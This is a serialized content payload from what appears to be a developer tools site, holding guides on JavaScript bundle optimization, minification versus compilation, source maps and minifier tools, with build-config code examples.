src=\"\u002Fassets\u002Fapp.a3f7b2c4.js\">\u003C\u002Fscript>\n",[143,133750,133751],{"__ignoreMap":141},[1560,133752,133753,133755,133757,133759,133761,133764,133766,133768],{"class":1562,"line":1563},[1560,133754,6431],{"class":1570},[1560,133756,11475],{"class":2484},[1560,133758,10631],{"class":1566},[1560,133760,7297],{"class":1570},[1560,133762,133763],{"class":5634},"\"\u002Fassets\u002Fapp.a3f7b2c4.js\"",[1560,133765,12441],{"class":1570},[1560,133767,11475],{"class":2484},[1560,133769,6441],{"class":1570},[16,133771,133772],{},"When the content changes, the hash changes, and browsers fetch the new version. Until then, the cached copy serves instantly.",[11,133774,1355],{"id":1354},[41,133776,133777,133780,133783,133786,133792,133795],{},[44,133778,133779],{},"JavaScript is the most expensive web resource — every KB counts for parsing and execution",[44,133781,133782],{},"Analyze your bundle before optimizing; visualizers reveal unexpected bloat",[44,133784,133785],{},"Use ES module imports and avoid barrel files to enable effective tree shaking",[44,133787,133788,133789,133791],{},"Split code at route boundaries with dynamic ",[143,133790,133345],{}," — users download only what they need",[44,133793,133794],{},"Audit dependencies regularly — replacing moment with date-fns can save 60+ KB",[44,133796,133797],{},"Enable Brotli compression and content-hash caching for production",[11,133799,321],{"id":320},[41,133801,133802,133808,133814],{},[44,133803,133804],{},[98,133805,133807],{"href":133806},"\u002Fguides\u002Fjs-minification-guide","JavaScript Minification Guide: How It Works and Why It Matters",[44,133809,133810],{},[98,133811,133813],{"href":133812},"\u002Fguides\u002Fjs-tree-shaking","Tree Shaking vs Minification",[44,133815,133816],{},[98,133817,133819],{"href":133818},"\u002Fguides\u002Fsource-maps-minified-code","Source Maps and Minified Code",[11,133821,286],{"id":285},[16,133823,133824,133825,133829],{},"Minify your JavaScript and see the size difference with our free ",[98,133826,133828],{"href":133827},"\u002Ftools\u002Fjs-minifier","JavaScript Minifier",". Paste your code, compare original vs. minified output, and understand how much you can save before even applying compression.",[2043,133831,133832],{},"html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":141,"searchDepth":337,"depth":337,"links":133834},[133835,133836,133837,133838,133839,133840,133841,133842,133843],{"id":132894,"depth":337,"text":132895},{"id":132962,"depth":337,"text":132963},{"id":133130,"depth":337,"text":133131},{"id":133338,"depth":337,"text":133339},{"id":133541,"depth":337,"text":133542},{"id":133706,"depth":337,"text":133707},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Reduce your JavaScript bundle size with code splitting, tree shaking, dynamic imports, and dependency auditing — practical strategies for faster pages.",{"immutable":363},"\u002Fguides\u002Fjavascript-bundle-size-optimization",{"title":132886,"description":133844},"guides\u002Fjavascript-bundle-size-optimization","pZqweGliZ_6xOM19nl2s7mAmldiGZoAmIPkhfcC3Ah4",{"id":133851,"title":133852,"body":133853,"date":2070,"description":134468,"extension":361,"meta":134469,"navigation":363,"path":134470,"readingTime":1710,"seo":134471,"stem":134472,"__hash__":134473},"guides\u002Fguides\u002Fjavascript-minification-vs-compilation.md","JS Minification vs Compilation",{"type":8,"value":133854,"toc":134461},[133855,133858,133862,133865,133967,133970,133973,133977,133980,134086,134136,134139,134171,134174,134176,134179,134185,134191,134197,134200,134204,134207,134212,134292,134297,134378,134383,134433,134437,134448,134451,134458],[16,133856,133857],{},"JavaScript developers routinely apply two transformations to their code before shipping it to production: minification and compilation. Though both produce output that differs from the source, they serve entirely different purposes. Minification reduces file size without changing semantics. Compilation transforms code from one language or syntax to another that browsers can execute. Understanding the distinction—and why both are essential—helps you configure your build pipeline correctly and debug production issues more effectively.",[11,133859,133861],{"id":133860},"what-minification-does","What Minification Does",[16,133863,133864],{},"Minification takes valid JavaScript as input and produces equivalent JavaScript that is smaller in byte size. The output behaves identically to the input; only the representation changes. Common minification transforms include:",[193,133866,133867,133877],{},[196,133868,133869],{},[199,133870,133871,133873,133875],{},[202,133872,78702],{},[202,133874,52091],{},[202,133876,52094],{},[211,133878,133879,133894,133907,133922,133936,133951],{},[199,133880,133881,133884,133889],{},[216,133882,133883],{},"Whitespace removal",[216,133885,133886],{},[143,133887,133888],{},"function add(a, b) {",[216,133890,133891],{},[143,133892,133893],{},"function add(a,b){",[199,133895,133896,133898,133903],{},[216,133897,52641],{},[216,133899,133900],{},[143,133901,133902],{},"\u002F\u002F calculate sum",[216,133904,133905],{},[7310,133906,20464],{},[199,133908,133909,133912,133917],{},[216,133910,133911],{},"Identifier mangling",[216,133913,133914],{},[143,133915,133916],{},"function calculateTotal(price)",[216,133918,133919],{},[143,133920,133921],{},"function a(b)",[199,133923,133924,133927,133932],{},[216,133925,133926],{},"Dead code elimination",[216,133928,133929],{},[143,133930,133931],{},"if (false) { log(); }",[216,133933,133934],{},[7310,133935,20464],{},[199,133937,133938,133941,133946],{},[216,133939,133940],{},"Constant folding",[216,133942,133943],{},[143,133944,133945],{},"const ms = 1000 * 60",[216,133947,133948],{},[143,133949,133950],{},"const ms = 60000",[199,133952,133953,133956,133961],{},[216,133954,133955],{},"Property mangling",[216,133957,133958],{},[143,133959,133960],{},"obj.userName",[216,133962,133963,133966],{},[143,133964,133965],{},"obj.a"," (with careful configuration)",[16,133968,133969],{},"Tools like Terser, esbuild, and SWC perform these transforms. The goal is purely to reduce the number of bytes the browser downloads and parses.",[16,133971,133972],{},"Minification is lossy from a readability standpoint but lossless from a behavioral standpoint. The minified code produces the same outputs for the same inputs as the original.",[11,133974,133976],{"id":133975},"what-compilation-does","What Compilation Does",[16,133978,133979],{},"Compilation (more precisely, transpilation for JavaScript-adjacent languages) transforms source code written in one syntax into output in another syntax. The most common scenario is TypeScript to JavaScript:",[135,133981,133983],{"className":17509,"code":133982,"language":17511,"meta":141,"style":141},"\u002F\u002F TypeScript input\ninterface User {\n  name: string;\n  age: number;\n}\n\nfunction greet(user: User): string {\n  return `Hello, ${user.name}! You are ${user.age} years old.`;\n}\n",[143,133984,133985,133990,134000,134011,134023,134027,134031,134054,134082],{"__ignoreMap":141},[1560,133986,133987],{"class":1562,"line":1563},[1560,133988,133989],{"class":1649},"\u002F\u002F TypeScript input\n",[1560,133991,133992,133995,133998],{"class":1562,"line":337},[1560,133993,133994],{"class":1669},"interface",[1560,133996,133997],{"class":1566}," User",[1560,133999,1571],{"class":1570},[1560,134001,134002,134004,134006,134009],{"class":1562,"line":343},[1560,134003,37243],{"class":2219},[1560,134005,8037],{"class":1669},[1560,134007,134008],{"class":1576}," string",[1560,134010,2228],{"class":1570},[1560,134012,134013,134016,134018,134021],{"class":1562,"line":365},[1560,134014,134015],{"class":2219},"  age",[1560,134017,8037],{"class":1669},[1560,134019,134020],{"class":1576}," number",[1560,134022,2228],{"class":1570},[1560,134024,134025],{"class":1562,"line":889},[1560,134026,1585],{"class":1570},[1560,134028,134029],{"class":1562,"line":1710},[1560,134030,1702],{"emptyLinePlaceholder":363},[1560,134032,134033,134035,134038,134040,134042,134044,134046,134048,134050,134052],{"class":1562,"line":1717},[1560,134034,8648],{"class":1669},[1560,134036,134037],{"class":1566}," greet",[1560,134039,1688],{"class":1570},[1560,134041,28199],{"class":2219},[1560,134043,8037],{"class":1669},[1560,134045,133997],{"class":1566},[1560,134047,1525],{"class":1570},[1560,134049,8037],{"class":1669},[1560,134051,134008],{"class":1576},[1560,134053,1571],{"class":1570},[1560,134055,134056,134058,134061,134063,134065,134067,134070,134072,134074,134077,134080],{"class":1562,"line":1747},[1560,134057,9350],{"class":1669},[1560,134059,134060],{"class":5634}," `Hello, ${",[1560,134062,28199],{"class":1570},[1560,134064,468],{"class":5634},[1560,134066,82747],{"class":1570},[1560,134068,134069],{"class":5634},"}! You are ${",[1560,134071,28199],{"class":1570},[1560,134073,468],{"class":5634},[1560,134075,134076],{"class":1570},"age",[1560,134078,134079],{"class":5634},"} years old.`",[1560,134081,2228],{"class":1570},[1560,134083,134084],{"class":1562,"line":2507},[1560,134085,1585],{"class":1570},[135,134087,134089],{"className":1607,"code":134088,"language":1609,"meta":141,"style":141},"\u002F\u002F Compiled JavaScript output\nfunction greet(user) {\n  return `Hello, ${user.name}! You are ${user.age} years old.`;\n}\n",[143,134090,134091,134096,134108,134132],{"__ignoreMap":141},[1560,134092,134093],{"class":1562,"line":1563},[1560,134094,134095],{"class":1649},"\u002F\u002F Compiled JavaScript output\n",[1560,134097,134098,134100,134102,134104,134106],{"class":1562,"line":337},[1560,134099,8648],{"class":1669},[1560,134101,134037],{"class":1566},[1560,134103,1688],{"class":1570},[1560,134105,28199],{"class":2219},[1560,134107,9345],{"class":1570},[1560,134109,134110,134112,134114,134116,134118,134120,134122,134124,134126,134128,134130],{"class":1562,"line":343},[1560,134111,9350],{"class":1669},[1560,134113,134060],{"class":5634},[1560,134115,28199],{"class":1570},[1560,134117,468],{"class":5634},[1560,134119,82747],{"class":1570},[1560,134121,134069],{"class":5634},[1560,134123,28199],{"class":1570},[1560,134125,468],{"class":5634},[1560,134127,134076],{"class":1570},[1560,134129,134079],{"class":5634},[1560,134131,2228],{"class":1570},[1560,134133,134134],{"class":1562,"line":365},[1560,134135,1585],{"class":1570},[16,134137,134138],{},"Other compilation scenarios include:",[41,134140,134141,134155,134165],{},[44,134142,134143,134146,134147,134150,134151,134154],{},[47,134144,134145],{},"JSX to JavaScript",": React's ",[143,134148,134149],{},"\u003Cdiv className=\"app\" \u002F>"," compiles to ",[143,134152,134153],{},"React.createElement(\"div\", { className: \"app\" })"," or the newer JSX transform",[44,134156,134157,134160,134161,134164],{},[47,134158,134159],{},"Modern syntax to legacy",": Optional chaining ",[143,134162,134163],{},"a?.b?.c"," compiles to nested ternary expressions for older browsers",[44,134166,134167,134170],{},[47,134168,134169],{},"Decorators to functions",": Stage 3 decorators compile to wrapper function calls",[16,134172,134173],{},"Compilation changes semantics. Type annotations are stripped, JSX is transformed, and syntax sugar is desugared. The output is functionally equivalent but structurally different from the input.",[11,134175,70143],{"id":70142},[16,134177,134178],{},"A common misconception is that minification subsumes compilation or vice versa. In reality, they operate at different levels:",[16,134180,134181,134184],{},[47,134182,134183],{},"Compilation runs first"," because minifiers typically expect standard JavaScript. TypeScript type annotations, JSX syntax, and experimental ECMAScript proposals are not valid JavaScript and would cause minifiers to fail or produce incorrect output.",[16,134186,134187,134190],{},[47,134188,134189],{},"Minification runs second"," on the compiled output to reduce file size for delivery.",[135,134192,134195],{"className":134193,"code":134194,"language":140},[138],"TypeScript source → Compile → JavaScript → Minify → Production bundle\n",[143,134196,134194],{"__ignoreMap":141},[16,134198,134199],{},"If you skip compilation, TypeScript and JSX cannot run in browsers. If you skip minification, your bundle is unnecessarily large. There is no either\u002For choice.",[11,134201,134203],{"id":134202},"build-tool-configuration","Build Tool Configuration",[16,134205,134206],{},"Modern bundlers handle both steps automatically. Here is how the major tools configure each transformation:",[16,134208,134209,134211],{},[47,134210,20926],{}," handles compilation and minification in a single pass:",[135,134213,134215],{"className":1607,"code":134214,"language":1609,"meta":141,"style":141},"\u002F\u002F esbuild config\nawait esbuild.build({\n  entryPoints: ['src\u002Findex.ts'],\n  bundle: true,\n  minify: true,        \u002F\u002F minification\n  target: 'es2020',    \u002F\u002F compilation target\n  outdir: 'dist',\n})\n",[143,134216,134217,134222,134234,134244,134253,134265,134278,134288],{"__ignoreMap":141},[1560,134218,134219],{"class":1562,"line":1563},[1560,134220,134221],{"class":1649},"\u002F\u002F esbuild config\n",[1560,134223,134224,134226,134229,134232],{"class":1562,"line":337},[1560,134225,38273],{"class":1669},[1560,134227,134228],{"class":1570}," esbuild.",[1560,134230,134231],{"class":1566},"build",[1560,134233,17525],{"class":1570},[1560,134235,134236,134239,134242],{"class":1562,"line":343},[1560,134237,134238],{"class":1570},"  entryPoints: [",[1560,134240,134241],{"class":5634},"'src\u002Findex.ts'",[1560,134243,12044],{"class":1570},[1560,134245,134246,134249,134251],{"class":1562,"line":365},[1560,134247,134248],{"class":1570},"  bundle: ",[1560,134250,20533],{"class":1576},[1560,134252,11943],{"class":1570},[1560,134254,134255,134257,134259,134262],{"class":1562,"line":889},[1560,134256,49760],{"class":1570},[1560,134258,20533],{"class":1576},[1560,134260,134261],{"class":1570},",        ",[1560,134263,134264],{"class":1649},"\u002F\u002F minification\n",[1560,134266,134267,134270,134273,134275],{"class":1562,"line":1710},[1560,134268,134269],{"class":1570},"  target: ",[1560,134271,134272],{"class":5634},"'es2020'",[1560,134274,70495],{"class":1570},[1560,134276,134277],{"class":1649},"\u002F\u002F compilation target\n",[1560,134279,134280,134283,134286],{"class":1562,"line":1717},[1560,134281,134282],{"class":1570},"  outdir: ",[1560,134284,134285],{"class":5634},"'dist'",[1560,134287,11943],{"class":1570},[1560,134289,134290],{"class":1562,"line":1747},[1560,134291,1626],{"class":1570},[16,134293,134294,134296],{},[47,134295,9643],{}," uses esbuild for TypeScript compilation during development and Rollup with Terser for production minification:",[135,134298,134300],{"className":1607,"code":134299,"language":1609,"meta":141,"style":141},"\u002F\u002F vite.config.ts\nexport default defineConfig({\n  build: {\n    minify: 'terser',   \u002F\u002F or 'esbuild'\n    terserOptions: {\n      compress: { drop_console: true },\n    },\n  },\n  esbuild: {\n    target: 'es2020',\n  },\n})\n",[143,134301,134302,134306,134316,134320,134334,134339,134348,134352,134356,134361,134370,134374],{"__ignoreMap":141},[1560,134303,134304],{"class":1562,"line":1563},[1560,134305,20511],{"class":1649},[1560,134307,134308,134310,134312,134314],{"class":1562,"line":337},[1560,134309,9187],{"class":1669},[1560,134311,11837],{"class":1669},[1560,134313,17522],{"class":1566},[1560,134315,17525],{"class":1570},[1560,134317,134318],{"class":1562,"line":343},[1560,134319,11844],{"class":1570},[1560,134321,134322,134325,134328,134331],{"class":1562,"line":365},[1560,134323,134324],{"class":1570},"    minify: ",[1560,134326,134327],{"class":5634},"'terser'",[1560,134329,134330],{"class":1570},",   ",[1560,134332,134333],{"class":1649},"\u002F\u002F or 'esbuild'\n",[1560,134335,134336],{"class":1562,"line":889},[1560,134337,134338],{"class":1570},"    terserOptions: {\n",[1560,134340,134341,134344,134346],{"class":1562,"line":1710},[1560,134342,134343],{"class":1570},"      compress: { drop_console: ",[1560,134345,20533],{"class":1576},[1560,134347,21223],{"class":1570},[1560,134349,134350],{"class":1562,"line":1717},[1560,134351,17600],{"class":1570},[1560,134353,134354],{"class":1562,"line":1747},[1560,134355,11862],{"class":1570},[1560,134357,134358],{"class":1562,"line":2507},[1560,134359,134360],{"class":1570},"  esbuild: {\n",[1560,134362,134363,134366,134368],{"class":1562,"line":2524},[1560,134364,134365],{"class":1570},"    target: ",[1560,134367,134272],{"class":5634},[1560,134369,11943],{"class":1570},[1560,134371,134372],{"class":1562,"line":2529},[1560,134373,11862],{"class":1570},[1560,134375,134376],{"class":1562,"line":2534},[1560,134377,1626],{"class":1570},[16,134379,134380,134382],{},[47,134381,9617],{}," abstracts both steps away. Vite handles TypeScript compilation automatically, and production builds apply minification by default:",[135,134384,134386],{"className":17509,"code":134385,"language":17511,"meta":141,"style":141},"\u002F\u002F nuxt.config.ts\nexport default defineNuxtConfig({\n  vite: {\n    build: {\n      minify: 'esbuild',\n    },\n  },\n})\n",[143,134387,134388,134392,134402,134407,134412,134421,134425,134429],{"__ignoreMap":141},[1560,134389,134390],{"class":1562,"line":1563},[1560,134391,41398],{"class":1649},[1560,134393,134394,134396,134398,134400],{"class":1562,"line":337},[1560,134395,9187],{"class":1669},[1560,134397,11837],{"class":1669},[1560,134399,41407],{"class":1566},[1560,134401,17525],{"class":1570},[1560,134403,134404],{"class":1562,"line":343},[1560,134405,134406],{"class":1570},"  vite: {\n",[1560,134408,134409],{"class":1562,"line":365},[1560,134410,134411],{"class":1570},"    build: {\n",[1560,134413,134414,134416,134419],{"class":1562,"line":889},[1560,134415,50388],{"class":1570},[1560,134417,134418],{"class":5634},"'esbuild'",[1560,134420,11943],{"class":1570},[1560,134422,134423],{"class":1562,"line":1710},[1560,134424,17600],{"class":1570},[1560,134426,134427],{"class":1562,"line":1717},[1560,134428,11862],{"class":1570},[1560,134430,134431],{"class":1562,"line":1747},[1560,134432,1626],{"class":1570},[11,134434,134436],{"id":134435},"debugging-production-code","Debugging Production Code",[16,134438,134439,134440,134443,134444,134447],{},"The disconnect between source code and production output creates debugging challenges. When a user reports an error with a stack trace pointing to ",[143,134441,134442],{},"a.b"," on line 1, column 847, you need source maps to trace it back to ",[143,134445,134446],{},"calculateTotal.price"," on line 42 of your original TypeScript file.",[16,134449,134450],{},"Source maps (.map files) encode the mapping between compiled\u002Fminified positions and source positions. Configure your build to generate them, and upload them to your error monitoring service (Sentry, Datadog, etc.) rather than deploying them publicly to avoid exposing source code.",[16,134452,134453,134454,134457],{},"For quick offline minification of JavaScript snippets, the ",[98,134455,134456],{"href":133827},"JS Minifier tool"," provides instant results with configurable compression options.",[2043,134459,134460],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":134462},[134463,134464,134465,134466,134467],{"id":133860,"depth":337,"text":133861},{"id":133975,"depth":337,"text":133976},{"id":70142,"depth":337,"text":70143},{"id":134202,"depth":337,"text":134203},{"id":134435,"depth":337,"text":134436},"The difference between minifying JavaScript and compiling TypeScript — and why you need both.",{},"\u002Fguides\u002Fjavascript-minification-vs-compilation",{"title":133852,"description":134468},"guides\u002Fjavascript-minification-vs-compilation","5OQqsnTS0Rq6Niv17RvFGt6y1JuEwPytMbbMU5kL6is",{"id":134475,"title":133807,"body":134476,"date":2070,"description":135178,"extension":361,"meta":135179,"navigation":363,"path":133806,"readingTime":1717,"seo":135180,"stem":135181,"__hash__":135182},"guides\u002Fguides\u002Fjs-minification-guide.md",{"type":8,"value":134477,"toc":135162},[134478,134482,134485,134488,134492,134495,134499,134502,134524,134630,134633,134637,134640,134661,134700,134703,134707,134738,134742,134745,134755,134818,134821,134844,134848,134851,134935,134945,134950,134955,134957,134964,135023,135037,135040,135044,135047,135073,135076,135078,135111,135113,135130,135132,135138,135140,135159],[11,134479,134481],{"id":134480},"what-is-javascript-minification","What Is JavaScript Minification?",[16,134483,134484],{},"JavaScript minification transforms your source code into a smaller version that runs identically. It strips characters the JavaScript engine does not need — whitespace, comments, line breaks, and block delimiters — and often shortens variable names to single letters.",[16,134486,134487],{},"A typical minification pass cuts file size by 30–60%. For a 100 KB script, that could mean 40–60 KB less data traveling over the network.",[11,134489,134491],{"id":134490},"how-minification-works","How Minification Works",[16,134493,134494],{},"Minification operates in two distinct stages. Understanding both helps you choose the right tool and interpret the output correctly.",[33,134496,134498],{"id":134497},"stage-1-whitespace-and-comment-removal","Stage 1: Whitespace and Comment Removal",[16,134500,134501],{},"The minifier removes everything the parser ignores:",[41,134503,134504,134507,134518,134521],{},[44,134505,134506],{},"Line breaks and indentation",[44,134508,134509,134510,134513,134514,134517],{},"Single-line (",[143,134511,134512],{},"\u002F\u002F",") and multi-line (",[143,134515,134516],{},"\u002F* *\u002F",") comments",[44,134519,134520],{},"Trailing semicolons where safe",[44,134522,134523],{},"Unnecessary parentheses",[135,134525,134527],{"className":1607,"code":134526,"language":1609,"meta":141,"style":141},"\u002F\u002F Before (148 bytes)\nfunction calculateTotal(price, tax) {\n  \u002F\u002F Apply tax rate\n  const total = price + (price * tax);\n  return total;\n}\n\n\u002F\u002F After (46 bytes)\nfunction calculateTotal(a,b){return a+a*b}\n",[143,134528,134529,134534,134553,134558,134580,134587,134591,134595,134600],{"__ignoreMap":141},[1560,134530,134531],{"class":1562,"line":1563},[1560,134532,134533],{"class":1649},"\u002F\u002F Before (148 bytes)\n",[1560,134535,134536,134538,134541,134543,134546,134548,134551],{"class":1562,"line":337},[1560,134537,8648],{"class":1669},[1560,134539,134540],{"class":1566}," calculateTotal",[1560,134542,1688],{"class":1570},[1560,134544,134545],{"class":2219},"price",[1560,134547,1459],{"class":1570},[1560,134549,134550],{"class":2219},"tax",[1560,134552,9345],{"class":1570},[1560,134554,134555],{"class":1562,"line":343},[1560,134556,134557],{"class":1649},"  \u002F\u002F Apply tax rate\n",[1560,134559,134560,134562,134565,134567,134570,134572,134575,134577],{"class":1562,"line":365},[1560,134561,28057],{"class":1669},[1560,134563,134564],{"class":1576}," total",[1560,134566,8186],{"class":1669},[1560,134568,134569],{"class":1570}," price ",[1560,134571,9448],{"class":1669},[1560,134573,134574],{"class":1570}," (price ",[1560,134576,8069],{"class":1669},[1560,134578,134579],{"class":1570}," tax);\n",[1560,134581,134582,134584],{"class":1562,"line":889},[1560,134583,9350],{"class":1669},[1560,134585,134586],{"class":1570}," total;\n",[1560,134588,134589],{"class":1562,"line":1710},[1560,134590,1585],{"class":1570},[1560,134592,134593],{"class":1562,"line":1717},[1560,134594,1702],{"emptyLinePlaceholder":363},[1560,134596,134597],{"class":1562,"line":1747},[1560,134598,134599],{"class":1649},"\u002F\u002F After (46 bytes)\n",[1560,134601,134602,134604,134606,134608,134610,134612,134614,134617,134619,134621,134623,134625,134627],{"class":1562,"line":2507},[1560,134603,8648],{"class":1669},[1560,134605,134540],{"class":1566},[1560,134607,1688],{"class":1570},[1560,134609,98],{"class":2219},[1560,134611,6858],{"class":1570},[1560,134613,28973],{"class":2219},[1560,134615,134616],{"class":1570},"){",[1560,134618,28313],{"class":1669},[1560,134620,42339],{"class":1570},[1560,134622,9448],{"class":1669},[1560,134624,98],{"class":1570},[1560,134626,8069],{"class":1669},[1560,134628,134629],{"class":1570},"b}\n",[16,134631,134632],{},"This stage alone typically removes 20–40% of file size. The logic and variable names stay intact, so the code remains readable if you need to debug.",[33,134634,134636],{"id":134635},"stage-2-variable-and-function-mangling","Stage 2: Variable and Function Mangling",[16,134638,134639],{},"Mangling (also called name shortening) replaces local variable and function names with shorter identifiers:",[41,134641,134642,134649,134655],{},[44,134643,134644,52609,134647],{},[143,134645,134646],{},"calculateTotal",[143,134648,98],{},[44,134650,134651,52609,134653],{},[143,134652,134545],{},[143,134654,28973],{},[44,134656,134657,52609,134659],{},[143,134658,134550],{},[143,134660,13943],{},[135,134662,134664],{"className":1607,"code":134663,"language":1609,"meta":141,"style":141},"\u002F\u002F After mangling (34 bytes)\nfunction a(b,c){return b+b*c}\n",[143,134665,134666,134671],{"__ignoreMap":141},[1560,134667,134668],{"class":1562,"line":1563},[1560,134669,134670],{"class":1649},"\u002F\u002F After mangling (34 bytes)\n",[1560,134672,134673,134675,134677,134679,134681,134683,134685,134687,134689,134691,134693,134695,134697],{"class":1562,"line":337},[1560,134674,8648],{"class":1669},[1560,134676,42339],{"class":1566},[1560,134678,1688],{"class":1570},[1560,134680,28973],{"class":2219},[1560,134682,6858],{"class":1570},[1560,134684,13943],{"class":2219},[1560,134686,134616],{"class":1570},[1560,134688,28313],{"class":1669},[1560,134690,42366],{"class":1570},[1560,134692,9448],{"class":1669},[1560,134694,28973],{"class":1570},[1560,134696,8069],{"class":1669},[1560,134698,134699],{"class":1570},"c}\n",[16,134701,134702],{},"Mangling adds another 10–20% reduction on top of whitespace removal. However, it makes the output unreadable — which is the point. Production code does not need to be human-friendly.",[33,134704,134706],{"id":134705},"what-minifiers-do-not-change","What Minifiers Do NOT Change",[41,134708,134709,134720,134726,134732],{},[44,134710,134711,1663,134714,1459,134716,134719],{},[47,134712,134713],{},"API names",[143,134715,127217],{},[143,134717,134718],{},"Array.prototype.map",", and all built-in methods stay intact",[44,134721,134722,134725],{},[47,134723,134724],{},"Global variables",": Anything accessible from other scripts cannot be renamed",[44,134727,134728,134731],{},[47,134729,134730],{},"String literals",": Text inside quotes is never modified",[44,134733,134734,134737],{},[47,134735,134736],{},"Object property names",": Keys accessed via dot notation remain unchanged unless the minifier can prove they are safe to rename",[11,134739,134741],{"id":134740},"source-maps-debugging-minified-code","Source Maps: Debugging Minified Code",[16,134743,134744],{},"When an error occurs in production, the stack trace points to line 1, column 1847 of a single-line file. Without a source map, you have no idea where the problem originated.",[16,134746,78047,134747,134750,134751,134754],{},[47,134748,134749],{},"source map"," is a separate ",[143,134752,134753],{},".map"," file that maps each position in the minified output back to the original source. Modern browsers load source maps automatically when DevTools is open, showing you the original file names and line numbers.",[135,134756,134758],{"className":23484,"code":134757,"language":23486,"meta":141,"style":141},"{\n  \"version\": 3,\n  \"file\": \"app.min.js\",\n  \"sources\": [\"app.js\", \"utils.js\"],\n  \"mappings\": \"AAAA,SAASA...\"\n}\n",[143,134759,134760,134764,134775,134787,134804,134814],{"__ignoreMap":141},[1560,134761,134762],{"class":1562,"line":1563},[1560,134763,23493],{"class":1570},[1560,134765,134766,134769,134771,134773],{"class":1562,"line":337},[1560,134767,134768],{"class":1576},"  \"version\"",[1560,134770,1663],{"class":1570},[1560,134772,17821],{"class":1576},[1560,134774,11943],{"class":1570},[1560,134776,134777,134780,134782,134785],{"class":1562,"line":343},[1560,134778,134779],{"class":1576},"  \"file\"",[1560,134781,1663],{"class":1570},[1560,134783,134784],{"class":5634},"\"app.min.js\"",[1560,134786,11943],{"class":1570},[1560,134788,134789,134792,134794,134797,134799,134802],{"class":1562,"line":365},[1560,134790,134791],{"class":1576},"  \"sources\"",[1560,134793,37187],{"class":1570},[1560,134795,134796],{"class":5634},"\"app.js\"",[1560,134798,1459],{"class":1570},[1560,134800,134801],{"class":5634},"\"utils.js\"",[1560,134803,12044],{"class":1570},[1560,134805,134806,134809,134811],{"class":1562,"line":889},[1560,134807,134808],{"class":1576},"  \"mappings\"",[1560,134810,1663],{"class":1570},[1560,134812,134813],{"class":5634},"\"AAAA,SAASA...\"\n",[1560,134815,134816],{"class":1562,"line":1710},[1560,134817,1585],{"class":1570},[16,134819,134820],{},"Best practices for source maps:",[41,134822,134823,134829,134838],{},[44,134824,134825,134828],{},[47,134826,134827],{},"Generate them during every production build"," — do not skip this step",[44,134830,134831,134837],{},[47,134832,134833,134834,134836],{},"Do not deploy ",[143,134835,134753],{}," files to public servers"," — serve them internally or upload to error-tracking services",[44,134839,134840,134843],{},[47,134841,134842],{},"Configure error monitoring tools"," (Sentry, Bugsnag) to consume source maps for readable stack traces",[11,134845,134847],{"id":134846},"terser-vs-uglifyjs","Terser vs UglifyJS",[16,134849,134850],{},"Two tools dominate JavaScript minification. Here is how they compare:",[193,134852,134853,134865],{},[196,134854,134855],{},[199,134856,134857,134859,134862],{},[202,134858,5867],{},[202,134860,134861],{},"UglifyJS",[202,134863,134864],{},"Terser",[211,134866,134867,134878,134890,134902,134913,134923],{},[199,134868,134869,134874,134876],{},[216,134870,134871],{},[47,134872,134873],{},"ES6+ support",[216,134875,10731],{},[216,134877,55046],{},[199,134879,134880,134885,134888],{},[216,134881,134882],{},[47,134883,134884],{},"Active maintenance",[216,134886,134887],{},"Minimal",[216,134889,50268],{},[199,134891,134892,134897,134899],{},[216,134893,134894],{},[47,134895,134896],{},"Mangling",[216,134898,3057],{},[216,134900,134901],{},"Yes (more 